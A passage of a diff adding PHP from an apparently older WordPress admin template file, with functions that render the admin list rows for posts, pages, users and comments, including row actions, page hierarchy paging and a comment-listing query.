+	<div class="hh">' . mysql2date( 'H', $post->post_date, false ) . '</div>
+	<div class="mn">' . mysql2date( 'i', $post->post_date, false ) . '</div>
+	<div class="ss">' . mysql2date( 's', $post->post_date, false ) . '</div>
+	<div class="post_password">' . esc_html( $post->post_password ) . '</div>';
+
+	if( $post->post_type == 'page' )
+		echo '
+	<div class="post_parent">' . $post->post_parent . '</div>
+	<div class="page_template">' . esc_html( get_post_meta( $post->ID, '_wp_page_template', true ) ) . '</div>
+	<div class="menu_order">' . $post->menu_order . '</div>';
+
+	if( $post->post_type == 'post' )
+		echo '
+	<div class="tags_input">' . esc_html( str_replace( ',', ', ', get_tags_to_edit($post->ID) ) ) . '</div>
+	<div class="post_category">' . implode( ',', wp_get_post_categories( $post->ID ) ) . '</div>
+	<div class="sticky">' . (is_sticky($post->ID) ? 'sticky' : '') . '</div>';
+
+	echo '</div>';
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $posts
+ */
+function post_rows( $posts = array() ) {
+	global $wp_query, $post, $mode;
+
+	add_filter('the_title','esc_html');
+
+	// Create array of post IDs.
+	$post_ids = array();
+
+	if ( empty($posts) )
+		$posts = &$wp_query->posts;
+
+	foreach ( $posts as $a_post )
+		$post_ids[] = $a_post->ID;
+
+	$comment_pending_count = get_pending_comments_num($post_ids);
+	if ( empty($comment_pending_count) )
+		$comment_pending_count = array();
+
+	foreach ( $posts as $post ) {
+		if ( empty($comment_pending_count[$post->ID]) )
+			$comment_pending_count[$post->ID] = 0;
+
+		_post_row($post, $comment_pending_count[$post->ID], $mode);
+	}
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $a_post
+ * @param unknown_type $pending_comments
+ * @param unknown_type $mode
+ */
+function _post_row($a_post, $pending_comments, $mode) {
+	global $post;
+	static $rowclass;
+
+	$global_post = $post;
+	$post = $a_post;
+	setup_postdata($post);
+
+	$rowclass = 'alternate' == $rowclass ? '' : 'alternate';
+	global $current_user;
+	$post_owner = ( $current_user->ID == $post->post_author ? 'self' : 'other' );
+	$edit_link = get_edit_post_link( $post->ID );
+	$title = _draft_or_post_title();
+?>
+	<tr id='post-<?php echo $post->ID; ?>' class='<?php echo trim( $rowclass . ' author-' . $post_owner . ' status-' . $post->post_status ); ?> iedit' valign="top">
+<?php
+	$posts_columns = get_column_headers('edit');
+	$hidden = get_hidden_columns('edit');
+	foreach ( $posts_columns as $column_name=>$column_display_name ) {
+		$class = "class=\"$column_name column-$column_name\"";
+
+		$style = '';
+		if ( in_array($column_name, $hidden) )
+			$style = ' style="display:none;"';
+
+		$attributes = "$class$style";
+
+		switch ($column_name) {
+
+		case 'cb':
+		?>
+		<th scope="row" class="check-column"><?php if ( current_user_can( 'edit_post', $post->ID ) ) { ?><input type="checkbox" name="post[]" value="<?php the_ID(); ?>" /><?php } ?></th>
+		<?php
+		break;
+
+		case 'date':
+			if ( '0000-00-00 00:00:00' == $post->post_date && 'date' == $column_name ) {
+				$t_time = $h_time = __('Unpublished');
+				$time_diff = 0;
+			} else {
+				$t_time = get_the_time(__('Y/m/d g:i:s A'));
+				$m_time = $post->post_date;
+				$time = get_post_time('G', true, $post);
+
+				$time_diff = time() - $time;
+
+				if ( $time_diff > 0 && $time_diff < 24*60*60 )
+					$h_time = sprintf( __('%s ago'), human_time_diff( $time ) );
+				else
+					$h_time = mysql2date(__('Y/m/d'), $m_time);
+			}
+
+			echo '<td ' . $attributes . '>';
+			if ( 'excerpt' == $mode )
+				echo apply_filters('post_date_column_time', $t_time, $post, $column_name, $mode);
+			else
+				echo '<abbr title="' . $t_time . '">' . apply_filters('post_date_column_time', $h_time, $post, $column_name, $mode) . '</abbr>';
+			echo '<br />';
+			if ( 'publish' == $post->post_status ) {
+				_e('Published');
+			} elseif ( 'future' == $post->post_status ) {
+				if ( $time_diff > 0 )
+					echo '<strong class="attention">' . __('Missed schedule') . '</strong>';
+				else
+					_e('Scheduled');
+			} else {
+				_e('Last Modified');
+			}
+			echo '</td>';
+		break;
+
+		case 'title':
+			$attributes = 'class="post-title column-title"' . $style;
+		?>
+		<td <?php echo $attributes ?>><strong><?php if ( current_user_can( 'edit_post', $post->ID ) ) { ?><a class="row-title" href="<?php echo $edit_link; ?>" title="<?php echo esc_attr(sprintf(__('Edit &#8220;%s&#8221;'), $title)); ?>"><?php echo $title ?></a><?php } else { echo $title; }; _post_states($post); ?></strong>
+		<?php
+			if ( 'excerpt' == $mode )
+				the_excerpt();
+
+			$actions = array();
+			if ( current_user_can('edit_post', $post->ID) ) {
+				$actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this post')) . '">' . __('Edit') . '</a>';
+				$actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this post inline')) . '">' . __('Quick&nbsp;Edit') . '</a>';
+			}
+			if ( current_user_can('delete_post', $post->ID) ) {
+				$actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this post')) . "' href='" . wp_nonce_url("post.php?action=delete&amp;post=$post->ID", 'delete-post_' . $post->ID) . "' onclick=\"if ( confirm('" . esc_js(sprintf( ('draft' == $post->post_status) ? __("You are about to delete this draft '%s'\n 'Cancel' to stop, 'OK' to delete.") : __("You are about to delete this post '%s'\n 'Cancel' to stop, 'OK' to delete."), $post->post_title )) . "') ) { return true;}return false;\">" . __('Delete') . "</a>";
+			}
+			if ( in_array($post->post_status, array('pending', 'draft')) ) {
+				if ( current_user_can('edit_post', $post->ID) )
+					$actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('Preview') . '</a>';
+			} else {
+				$actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('View') . '</a>';
+			}
+			$actions = apply_filters('post_row_actions', $actions, $post);
+			$action_count = count($actions);
+			$i = 0;
+			echo '<div class="row-actions">';
+			foreach ( $actions as $action => $link ) {
+				++$i;
+				( $i == $action_count ) ? $sep = '' : $sep = ' | ';
+				echo "<span class='$action'>$link$sep</span>";
+			}
+			echo '</div>';
+
+			get_inline_data($post);
+		?>
+		</td>
+		<?php
+		break;
+
+		case 'categories':
+		?>
+		<td <?php echo $attributes ?>><?php
+			$categories = get_the_category();
+			if ( !empty( $categories ) ) {
+				$out = array();
+				foreach ( $categories as $c )
+					$out[] = "<a href='edit.php?category_name=$c->slug'> " . esc_html(sanitize_term_field('name', $c->name, $c->term_id, 'category', 'display')) . "</a>";
+					echo join( ', ', $out );
+			} else {
+				_e('Uncategorized');
+			}
+		?></td>
+		<?php
+		break;
+
+		case 'tags':
+		?>
+		<td <?php echo $attributes ?>><?php
+			$tags = get_the_tags($post->ID);
+			if ( !empty( $tags ) ) {
+				$out = array();
+				foreach ( $tags as $c )
+					$out[] = "<a href='edit.php?tag=$c->slug'> " . esc_html(sanitize_term_field('name', $c->name, $c->term_id, 'post_tag', 'display')) . "</a>";
+				echo join( ', ', $out );
+			} else {
+				_e('No Tags');
+			}
+		?></td>
+		<?php
+		break;
+
+		case 'comments':
+		?>
+		<td <?php echo $attributes ?>><div class="post-com-count-wrapper">
+		<?php
+			$pending_phrase = sprintf( __('%s pending'), number_format( $pending_comments ) );
+			if ( $pending_comments )
+				echo '<strong>';
+				comments_number("<a href='edit-comments.php?p=$post->ID' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . /* translators: comment count link */ _x('0', 'comment count') . '</span></a>', "<a href='edit-comments.php?p=$post->ID' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . /* translators: comment count link */ _x('1', 'comment count') . '</span></a>', "<a href='edit-comments.php?p=$post->ID' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . /* translators: comment count link: % will be substituted by comment count */ _x('%', 'comment count') . '</span></a>');
+				if ( $pending_comments )
+				echo '</strong>';
+		?>
+		</div></td>
+		<?php
+		break;
+
+		case 'author':
+		?>
+		<td <?php echo $attributes ?>><a href="edit.php?author=<?php the_author_meta('ID'); ?>"><?php the_author() ?></a></td>
+		<?php
+		break;
+
+		case 'control_view':
+		?>
+		<td><a href="<?php the_permalink(); ?>" rel="permalink" class="view"><?php _e('View'); ?></a></td>
+		<?php
+		break;
+
+		case 'control_edit':
+		?>
+		<td><?php if ( current_user_can('edit_post', $post->ID) ) { echo "<a href='$edit_link' class='edit'>" . __('Edit') . "</a>"; } ?></td>
+		<?php
+		break;
+
+		case 'control_delete':
+		?>
+		<td><?php if ( current_user_can('delete_post', $post->ID) ) { echo "<a href='" . wp_nonce_url("post.php?action=delete&amp;post=$id", 'delete-post_' . $post->ID) . "' class='delete'>" . __('Delete') . "</a>"; } ?></td>
+		<?php
+		break;
+
+		default:
+		?>
+		<td <?php echo $attributes ?>><?php do_action('manage_posts_custom_column', $column_name, $post->ID); ?></td>
+		<?php
+		break;
+	}
+}
+?>
+	</tr>
+<?php
+	$post = $global_post;
+}
+
+/*
+ * display one row if the page doesn't have any children
+ * otherwise, display the row and its children in subsequent rows
+ */
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $page
+ * @param unknown_type $level
+ */
+function display_page_row( $page, $level = 0 ) {
+	global $post;
+	static $rowclass;
+
+	$post = $page;
+	setup_postdata($page);
+
+	if ( 0 == $level && (int)$page->post_parent > 0 ) {
+		//sent level 0 by accident, by default, or because we don't know the actual level
+		$find_main_page = (int)$page->post_parent;
+		while ( $find_main_page > 0 ) {
+			$parent = get_page($find_main_page);
+
+			if ( is_null($parent) )
+				break;
+
+			$level++;
+			$find_main_page = (int)$parent->post_parent;
+
+			if ( !isset($parent_name) )
+				$parent_name = $parent->post_title;
+		}
+	}
+
+	$page->post_title = esc_html( $page->post_title );
+	$pad = str_repeat( '&#8212; ', $level );
+	$id = (int) $page->ID;
+	$rowclass = 'alternate' == $rowclass ? '' : 'alternate';
+	$posts_columns = get_column_headers('edit-pages');
+	$hidden = get_hidden_columns('edit-pages');
+	$title = _draft_or_post_title();
+?>
+<tr id="page-<?php echo $id; ?>" class="<?php echo $rowclass; ?> iedit">
+<?php
+
+foreach ($posts_columns as $column_name=>$column_display_name) {
+	$class = "class=\"$column_name column-$column_name\"";
+
+	$style = '';
+	if ( in_array($column_name, $hidden) )
+		$style = ' style="display:none;"';
+
+	$attributes = "$class$style";
+
+	switch ($column_name) {
+
+	case 'cb':
+		?>
+		<th scope="row" class="check-column"><input type="checkbox" name="post[]" value="<?php the_ID(); ?>" /></th>
+		<?php
+		break;
+	case 'date':
+		if ( '0000-00-00 00:00:00' == $page->post_date && 'date' == $column_name ) {
+			$t_time = $h_time = __('Unpublished');
+			$time_diff = 0;
+		} else {
+			$t_time = get_the_time(__('Y/m/d g:i:s A'));
+			$m_time = $page->post_date;
+			$time = get_post_time('G', true);
+
+			$time_diff = time() - $time;
+
+			if ( $time_diff > 0 && $time_diff < 24*60*60 )
+				$h_time = sprintf( __('%s ago'), human_time_diff( $time ) );
+			else
+				$h_time = mysql2date(__('Y/m/d'), $m_time);
+		}
+		echo '<td ' . $attributes . '>';
+		echo '<abbr title="' . $t_time . '">' . apply_filters('post_date_column_time', $h_time, $page, $column_name, '') . '</abbr>';
+		echo '<br />';
+		if ( 'publish' == $page->post_status ) {
+			_e('Published');
+		} elseif ( 'future' == $page->post_status ) {
+			if ( $time_diff > 0 )
+				echo '<strong class="attention">' . __('Missed schedule') . '</strong>';
+			else
+				_e('Scheduled');
+		} else {
+			_e('Last Modified');
+		}
+		echo '</td>';
+		break;
+	case 'title':
+		$attributes = 'class="post-title page-title column-title"' . $style;
+		$edit_link = get_edit_post_link( $page->ID );
+		?>
+		<td <?php echo $attributes ?>><strong><?php if ( current_user_can( 'edit_page', $page->ID ) ) { ?><a class="row-title" href="<?php echo $edit_link; ?>" title="<?php echo esc_attr(sprintf(__('Edit &#8220;%s&#8221;'), $title)); ?>"><?php echo $pad; echo $title ?></a><?php } else { echo $pad; echo $title; }; _post_states($page); echo isset($parent_name) ? ' | ' . __('Parent Page: ') . esc_html($parent_name) : ''; ?></strong>
+		<?php
+		$actions = array();
+		if ( current_user_can('edit_page', $page->ID) ) {
+			$actions['edit'] = '<a href="' . $edit_link . '" title="' . esc_attr(__('Edit this page')) . '">' . __('Edit') . '</a>';
+			$actions['inline'] = '<a href="#" class="editinline">' . __('Quick&nbsp;Edit') . '</a>';
+		}
+		if ( current_user_can('delete_page', $page->ID) ) {
+			$actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this page')) . "' href='" . wp_nonce_url("page.php?action=delete&amp;post=$page->ID", 'delete-page_' . $page->ID) . "' onclick=\"if ( confirm('" . esc_js(sprintf( ('draft' == $page->post_status) ? __("You are about to delete this draft '%s'\n 'Cancel' to stop, 'OK' to delete.") : __("You are about to delete this page '%s'\n 'Cancel' to stop, 'OK' to delete."), $page->post_title )) . "') ) { return true;}return false;\">" . __('Delete') . "</a>";
+		}
+		if ( in_array($post->post_status, array('pending', 'draft')) ) {
+			if ( current_user_can('edit_page', $page->ID) )
+				$actions['view'] = '<a href="' . get_permalink($page->ID) . '" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('Preview') . '</a>';
+		} else {
+			$actions['view'] = '<a href="' . get_permalink($page->ID) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('View') . '</a>';
+		}
+		$actions = apply_filters('page_row_actions', $actions, $page);
+		$action_count = count($actions);
+
+		$i = 0;
+		echo '<div class="row-actions">';
+		foreach ( $actions as $action => $link ) {
+			++$i;
+			( $i == $action_count ) ? $sep = '' : $sep = ' | ';
+			echo "<span class='$action'>$link$sep</span>";
+		}
+		echo '</div>';
+
+		get_inline_data($post);
+		echo '</td>';
+		break;
+
+	case 'comments':
+		?>
+		<td <?php echo $attributes ?>><div class="post-com-count-wrapper">
+		<?php
+		$left = get_pending_comments_num( $page->ID );
+		$pending_phrase = sprintf( __('%s pending'), number_format( $left ) );
+		if ( $left )
+			echo '<strong>';
+		comments_number("<a href='edit-comments.php?p=$id' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . /* translators: comment count link */ _x('0', 'comment count') . '</span></a>', "<a href='edit-comments.php?p=$id' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . /* translators: comment count link */ _x('1', 'comment count') . '</span></a>', "<a href='edit-comments.php?p=$id' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . /* translators: comment count link: % will be substituted by comment count */ _x('%', 'comment count') . '</span></a>');
+		if ( $left )
+			echo '</strong>';
+		?>
+		</div></td>
+		<?php
+		break;
+
+	case 'author':
+		?>
+		<td <?php echo $attributes ?>><a href="edit-pages.php?author=<?php the_author_meta('ID'); ?>"><?php the_author() ?></a></td>
+		<?php
+		break;
+
+	default:
+		?>
+		<td <?php echo $attributes ?>><?php do_action('manage_pages_custom_column', $column_name, $id); ?></td>
+		<?php
+		break;
+	}
+}
+?>
+
+</tr>
+
+<?php
+}
+
+/*
+ * displays pages in hierarchical order with paging support
+ */
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $pages
+ * @param unknown_type $pagenum
+ * @param unknown_type $per_page
+ * @return unknown
+ */
+function page_rows($pages, $pagenum = 1, $per_page = 20) {
+	global $wpdb;
+
+	$level = 0;
+
+	if ( ! $pages ) {
+		$pages = get_pages( array('sort_column' => 'menu_order') );
+
+		if ( ! $pages )
+			return false;
+	}
+
+	/*
+	 * arrange pages into two parts: top level pages and children_pages
+	 * children_pages is two dimensional array, eg.
+	 * children_pages[10][] contains all sub-pages whose parent is 10.
+	 * It only takes O(N) to arrange this and it takes O(1) for subsequent lookup operations
+	 * If searching, ignore hierarchy and treat everything as top level
+	 */
+	if ( empty($_GET['s']) ) {
+
+		$top_level_pages = array();
+		$children_pages = array();
+
+		foreach ( $pages as $page ) {
+
+			// catch and repair bad pages
+			if ( $page->post_parent == $page->ID ) {
+				$page->post_parent = 0;
+				$wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET post_parent = '0' WHERE ID = %d", $page->ID) );
+				clean_page_cache( $page->ID );
+			}
+
+			if ( 0 == $page->post_parent )
+				$top_level_pages[] = $page;
+			else
+				$children_pages[ $page->post_parent ][] = $page;
+		}
+
+		$pages = &$top_level_pages;
+	}
+
+	$count = 0;
+	$start = ($pagenum - 1) * $per_page;
+	$end = $start + $per_page;
+
+	foreach ( $pages as $page ) {
+		if ( $count >= $end )
+			break;
+
+		if ( $count >= $start )
+			echo "\t" . display_page_row( $page, $level );
+
+		$count++;
+
+		if ( isset($children_pages) )
+			_page_rows( $children_pages, $count, $page->ID, $level + 1, $pagenum, $per_page );
+	}
+
+	// if it is the last pagenum and there are orphaned pages, display them with paging as well
+	if ( isset($children_pages) && $count < $end ){
+		foreach( $children_pages as $orphans ){
+			foreach ( $orphans as $op ) {
+				if ( $count >= $end )
+					break;
+				if ( $count >= $start )
+					echo "\t" . display_page_row( $op, 0 );
+				$count++;
+			}
+		}
+	}
+}
+
+/*
+ * Given a top level page ID, display the nested hierarchy of sub-pages
+ * together with paging support
+ */
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $children_pages
+ * @param unknown_type $count
+ * @param unknown_type $parent
+ * @param unknown_type $level
+ * @param unknown_type $pagenum
+ * @param unknown_type $per_page
+ */
+function _page_rows( &$children_pages, &$count, $parent, $level, $pagenum, $per_page ) {
+
+	if ( ! isset( $children_pages[$parent] ) )
+		return;
+
+	$start = ($pagenum - 1) * $per_page;
+	$end = $start + $per_page;
+
+	foreach ( $children_pages[$parent] as $page ) {
+
+		if ( $count >= $end )
+			break;
+
+		// If the page starts in a subtree, print the parents.
+		if ( $count == $start && $page->post_parent > 0 ) {
+			$my_parents = array();
+			$my_parent = $page->post_parent;
+			while ( $my_parent) {
+				$my_parent = get_post($my_parent);
+				$my_parents[] = $my_parent;
+				if ( !$my_parent->post_parent )
+					break;
+				$my_parent = $my_parent->post_parent;
+			}
+			$num_parents = count($my_parents);
+			while( $my_parent = array_pop($my_parents) ) {
+				echo "\t" . display_page_row( $my_parent, $level - $num_parents );
+				$num_parents--;
+			}
+		}
+
+		if ( $count >= $start )
+			echo "\t" . display_page_row( $page, $level );
+
+		$count++;
+
+		_page_rows( $children_pages, $count, $page->ID, $level + 1, $pagenum, $per_page );
+	}
+
+	unset( $children_pages[$parent] ); //required in order to keep track of orphans
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $user_object
+ * @param unknown_type $style
+ * @param unknown_type $role
+ * @return unknown
+ */
+function user_row( $user_object, $style = '', $role = '' ) {
+	global $wp_roles;
+
+	$current_user = wp_get_current_user();
+
+	if ( !( is_object( $user_object) && is_a( $user_object, 'WP_User' ) ) )
+		$user_object = new WP_User( (int) $user_object );
+	$email = $user_object->user_email;
+	$url = $user_object->user_url;
+	$short_url = str_replace( 'http://', '', $url );
+	$short_url = str_replace( 'www.', '', $short_url );
+	if ('/' == substr( $short_url, -1 ))
+		$short_url = substr( $short_url, 0, -1 );
+	if ( strlen( $short_url ) > 35 )
+		$short_url = substr( $short_url, 0, 32 ).'...';
+	$numposts = get_usernumposts( $user_object->ID );
+	$checkbox = '';
+	// Check if the user for this row is editable
+	if ( current_user_can( 'edit_user', $user_object->ID ) ) {
+		// Set up the user editing link
+		// TODO: make profile/user-edit determination a seperate function
+		if ($current_user->ID == $user_object->ID) {
+			$edit_link = 'profile.php';
+		} else {
+			$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( esc_url( stripslashes( $_SERVER['REQUEST_URI'] ) ) ), "user-edit.php?user_id=$user_object->ID" ) );
+		}
+		$edit = "<strong><a href=\"$edit_link\">$user_object->user_login</a></strong><br />";
+
+		// Set up the hover actions for this user
+		$actions = array();
+		$actions['edit'] = '<a href="' . $edit_link . '">' . __('Edit') . '</a>';
+		if ( $current_user->ID != $user_object->ID )
+			$actions['delete'] = "<a class='submitdelete' href='" . wp_nonce_url("users.php?action=delete&amp;user=$user_object->ID", 'bulk-users') . "'>" . __('Delete') . "</a>";
+		$actions = apply_filters('user_row_actions', $actions, $user_object);
+		$action_count = count($actions);
+		$i = 0;
+		$edit .= '<div class="row-actions">';
+		foreach ( $actions as $action => $link ) {
+			++$i;
+			( $i == $action_count ) ? $sep = '' : $sep = ' | ';
+			$edit .= "<span class='$action'>$link$sep</span>";
+		}
+		$edit .= '</div>';
+
+		// Set up the checkbox (because the user is editable, otherwise its empty)
+		$checkbox = "<input type='checkbox' name='users[]' id='user_{$user_object->ID}' class='$role' value='{$user_object->ID}' />";
+
+	} else {
+		$edit = '<strong>' . $user_object->user_login . '</strong>';
+	}
+	$role_name = isset($wp_roles->role_names[$role]) ? translate_user_role($wp_roles->role_names[$role] ) : __('None');
+	$r = "<tr id='user-$user_object->ID'$style>";
+	$columns = get_column_headers('users');
+	$hidden = get_hidden_columns('users');
+	$avatar = get_avatar( $user_object->ID, 32 );
+	foreach ( $columns as $column_name => $column_display_name ) {
+		$class = "class=\"$column_name column-$column_name\"";
+
+		$style = '';
+		if ( in_array($column_name, $hidden) )
+			$style = ' style="display:none;"';
+
+		$attributes = "$class$style";
+
+		switch ($column_name) {
+			case 'cb':
+				$r .= "<th scope='row' class='check-column'>$checkbox</th>";
+				break;
+			case 'username':
+				$r .= "<td $attributes>$avatar $edit</td>";
+				break;
+			case 'name':
+				$r .= "<td $attributes>$user_object->first_name $user_object->last_name</td>";
+				break;
+			case 'email':
+				$r .= "<td $attributes><a href='mailto:$email' title='" . sprintf( __('e-mail: %s' ), $email ) . "'>$email</a></td>";
+				break;
+			case 'role':
+				$r .= "<td $attributes>$role_name</td>";
+				break;
+			case 'posts':
+				$attributes = 'class="posts column-posts num"' . $style;
+				$r .= "<td $attributes>";
+				if ( $numposts > 0 ) {
+					$r .= "<a href='edit.php?author=$user_object->ID' title='" . __( 'View posts by this author' ) . "' class='edit'>";
+					$r .= $numposts;
+					$r .= '</a>';
+				} else {
+					$r .= 0;
+				}
+				$r .= "</td>";
+				break;
+			default:
+				$r .= "<td $attributes>";
+				$r .= apply_filters('manage_users_custom_column', '', $column_name, $user_object->ID);
+				$r .= "</td>";
+		}
+	}
+	$r .= '</tr>';
+
+	return $r;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $status
+ * @param unknown_type $s
+ * @param unknown_type $start
+ * @param unknown_type $num
+ * @param unknown_type $post
+ * @param unknown_type $type
+ * @return unknown
+ */
+function _wp_get_comment_list( $status = '', $s = false, $start, $num, $post = 0, $type = '' ) {
+	global $wpdb;
+
+	$start = abs( (int) $start );
+	$num = (int) $num;
+	$post = (int) $post;
+	$count = wp_count_comments();
+	$index = '';
+
+	if ( 'moderated' == $status ) {
+		$approved = "comment_approved = '0'";
+		$total = $count->moderated;
+	} elseif ( 'approved' == $status ) {
+		$approved = "comment_approved = '1'";
+		$total = $count->approved;
+	} elseif ( 'spam' == $status ) {
+		$approved = "comment_approved = 'spam'";
+		$total = $count->spam;
+	} else {
+		$approved = "( comment_approved = '0' OR comment_approved = '1' )";
+		$total = $count->moderated + $count->approved;
+		$index = 'USE INDEX (comment_date_gmt)';
+	}
+
+	if ( $post ) {
+		$total = '';
+		$post = " AND comment_post_ID = '$post'";
+		$orderby = "ORDER BY comment_date_gmt ASC LIMIT $start, $num";
+	} else {
+		$post = '';
+		$orderby = "ORDER BY comment_date_gmt DESC LIMIT $start, $num";
+	}
+
+	if ( 'comment' == $type )
+		$typesql = "AND comment_type = ''";
+	elseif ( 'pingback' == $type )
+		$typesql = "AND comment_type = 'pingback'";
+	elseif ( 'trackback' == $type )
+		$typesql = "AND comment_type = 'trackback'";
+	elseif ( 'pings' == $type )
+		$typesql = "AND ( comment_type = 'pingback' OR comment_type = 'trackback' )";
+	else
+		$typesql = '';
+
+	if ( !empty($type) )
+		$total = '';
+
+	if ( $s ) {
+		$total = '';
+		$s = $wpdb->escape($s);
+		$query = "FROM $wpdb->comments WHERE
+			(comment_author LIKE '%$s%' OR
+			comment_author_email LIKE '%$s%' OR
+			comment_author_url LIKE ('%$s%') OR
+			comment_author_IP LIKE ('%$s%') OR
+			comment_content LIKE ('%$s%') ) AND
+			$approved
+			$typesql";
+	} else {
+		$query = "FROM $wpdb->comments $index WHERE $approved $post $typesql";
+	}
+
+	$comments = $wpdb->get_results("SELECT * $query $orderby");
+	if ( '' === $total )
+		$total = $wpdb->get_var("SELECT COUNT(comment_ID) $query");
+
+	update_comment_cache($comments);
+
+	return array($comments, $total);
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $comment_id
+ * @param unknown_type $mode
+ * @param unknown_type $comment_status
+ * @param unknown_type $checkbox
+ */
+function _wp_comment_row( $comment_id, $mode, $comment_status, $checkbox = true, $from_ajax = false ) {
+	global $comment, $post, $_comment_pending_count;
+	$comment = get_comment( $comment_id );
+	$post = get_post($comment->comment_post_ID);
+	$the_comment_status = wp_get_comment_status($comment->comment_ID);
+	$user_can = current_user_can('edit_post', $post->ID);
+
+	$author_url = get_comment_author_url();
+	if ( 'http://' == $author_url )
+		$author_url = '';
+	$author_url_display = $author_url;
+	$author_url_display = str_replace('http://www.', '', $author_url_display);
+	$author_url_display = str_replace('http://', '', $author_url_display);
+	if ( strlen($author_url_display) > 50 )
+		$author_url_display = substr($author_url_display, 0, 49) . '...';
+
+	$ptime = date('G', strtotime( $comment->comment_date ) );
+	if ( ( abs(time() - $ptime) ) < 86400 )
+		$ptime = sprintf( __('%s ago'), human_time_diff( $ptime ) );
+	else
+		$ptime = mysql2date(__('Y/m/d \a\t g:i A'), $comment->comment_date );
+
+	$delete_url = esc_url( wp_nonce_url( "comment.php?action=deletecomment&p=$post->ID&c=$comment->comment_ID", "delete-comment_$comment->comment_ID" ) );
+	$approve_url = esc_url( wp_nonce_url( "comment.php?action=approvecomment&p=$post->ID&c=$comment->comment_ID", "approve-comment_$comment->comment_ID" ) );
+	$unapprove_url = esc_url( wp_nonce_url( "comment.php?action=unapprovecomment&p=$post->ID&c=$comment->comment_ID", "unapprove-comment_$comment->comment_ID" ) );
+	$spam_url = esc_url( wp_nonce_url( "comment.php?action=deletecomment&dt=spam&p=$post->ID&c=$comment->comment_ID", "delete-comment_$comment->comment_ID" ) );
+
+	echo "<tr id='comment-$comment->comment_ID' class='$the_comment_status'>";
+	$columns = get_column_headers('edit-comments');
+	$hidden = get_hidden_columns('edit-comments');
+	foreach ( $columns as $column_name => $column_display_name ) {
+		$class = "class=\"$column_name column-$column_name\"";
+
+		$style = '';
+		if ( in_array($column_name, $hidden) )
+			$style = ' style="display:none;"';
+
+		$attributes = "$class$style";
+
+		switch ($column_name) {
+			case 'cb':
+				if ( !$checkbox ) break;
+				echo '<th scope="row" class="check-column">';
+				if ( $user_can ) echo "<input type='checkbox' name='delete_comments[]' value='$comment->comment_ID' />";
+				echo '</th>';
+				break;
+			case 'comment':
+				echo "<td $attributes>";
+				echo '<div id="submitted-on">';
+				printf(__('Submitted on <a href="%1$s">%2$s at %3$s</a>'), get_comment_link($comment->comment_ID), get_comment_date(__('Y/m/d')), get_comment_date(__('g:ia')));
+				echo '</div>';
+				comment_text(); ?>
+				<div id="inline-<?php echo $comment->comment_ID; ?>" class="hidden">
+				<textarea class="comment" rows="3" cols="10"><?php echo $comment->comment_content; ?></textarea>
+				<div class="author-email"><?php if ( $user_can ) echo esc_attr( $comment->comment_author_email ); ?></div>
+				<div class="author"><?php if ( $user_can ) echo esc_attr( $comment->comment_author ); ?></div>
+				<div class="author-url"><?php echo esc_attr( $comment->comment_author_url ); ?></div>
+				<div class="comment_status"><?php echo $comment->comment_approved; ?></div>
+				</div>
+				<?php
+				$actions = array();
+
+				if ( $user_can ) {
+					$actions['approve'] = "<a href='$approve_url' class='dim:the-comment-list:comment-$comment->comment_ID:unapproved:e7e7d3:e7e7d3:new=approved vim-a' title='" . __( 'Approve this comment' ) . "'>" . __( 'Approve' ) . '</a>';
+					$actions['unapprove'] = "<a href='$unapprove_url' class='dim:the-comment-list:comment-$comment->comment_ID:unapproved:e7e7d3:e7e7d3:new=unapproved vim-u' title='" . __( 'Unapprove this comment' ) . "'>" . __( 'Unapprove' ) . '</a>';
+					if ( $comment_status && 'all' != $comment_status ) { // not looking at all comments
+						if ( 'approved' == $the_comment_status ) {
+							$actions['unapprove'] = "<a href='$unapprove_url' class='delete:the-comment-list:comment-$comment->comment_ID:e7e7d3:action=dim-comment&amp;new=unapproved vim-u vim-destructive' title='" . __( 'Unapprove this comment' ) . "'>" . __( 'Unapprove' ) . '</a>';
+							unset($actions['approve']);
+						} else {
+							$actions['approve'] = "<a href='$approve_url' class='delete:the-comment-list:comment-$comment->comment_ID:e7e7d3:action=dim-comment&amp;new=approved vim-a vim-destructive' title='" . __( 'Approve this comment' ) . "'>" . __( 'Approve' ) . '</a>';
+							unset($actions['unapprove']);
+						}
+					}
+					if ( 'spam' != $the_comment_status )
+						$actions['spam'] = "<a href='$spam_url' class='delete:the-comment-list:comment-$comment->comment_ID::spam=1 vim-s vim-destructive' title='" . __( 'Mark this comment as spam' ) . "'>" . /* translators: mark as spam link */ _x( 'Spam', 'verb' ) . '</a>';
+					$actions['delete'] = "<a href='$delete_url' class='delete:the-comment-list:comment-$comment->comment_ID delete vim-d vim-destructive'>" . __('Delete') . '</a>';
